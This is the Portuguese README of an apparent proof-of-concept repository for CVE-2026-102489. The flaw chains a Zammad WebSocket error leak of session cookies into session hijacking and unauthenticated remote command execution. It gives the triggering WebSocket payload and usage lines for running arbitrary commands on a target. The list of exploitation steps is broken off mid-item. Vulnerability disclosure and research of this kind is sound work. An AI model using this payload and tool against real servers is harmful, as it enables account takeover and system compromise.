
Prova de conceito de exploit para CVE-2026-102489 no Zammad: encadeia um vazamento de sessão WebSocket em sequestro de sessão autenticada e execução remota de código não autenticada.
Este repositório contém uma prova de conceito para o CVE-2026-102489, uma vulnerabilidade de execução remota de código não autenticada no Zammad. O exploit encadeia uma falha de divulgação de informações via WebSocket com a tomada de sessão autenticada e execução arbitrária de comandos como o usuário do sistema operacional zammad.
Sessions::Event::Base é uma constante Ruby válida que não possui o método run(). O envio de {"event":"base"} pelo endpoint WebSocket gera um NoMethodError cuja mensagem inclui a inspeção completa do receptor — que contém @clients, o mapa ativo do contexto de requisição de cada usuário conectado, incluindo seu cabeçalho Cookie.
A PoC aproveita esse vazamento para:
_zammad_session válidos de usuários conectados por meio da divulgação de @clients via WebSocket.A análise técnica cobrindo a causa raiz, a exploração e os indicadores de comprometimento está disponível no blog de pesquisa de ataques da Horizon3.ai:
https://horizon3.ai/attack-research/disclosures/cve-2026-102489-zammad-session-leak-rce/
% python3 CVE-2026-102489.py -h
usage: CVE-2026-102489.py [-h] -u URL [-c COMMAND] [--out-file OUT_FILE]
options:
-h, --help show this help message and exit
-u URL, --url URL The base URL of the target
-c COMMAND, --command COMMAND
Command to execute on the target
--out-file OUT_FILE Output file path on the target (default:
/tmp/zammad_rce.txt)
Execute com o comando padrão id:
python3 CVE-2026-102489.py -u http://zammad.example.com
Execute um comando arbitrário:
python3 CVE-2026-102489.py -u http://zammad.example.com -c 'id'
Nota: A divulgação de informações exige que pelo menos um usuário autenticado esteja conectado ao endpoint WebSocket no momento da exploração.
"Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado." Os mantenedores do projeto não assumem qualquer responsabilidade pelo uso indevido. Use com responsabilidade.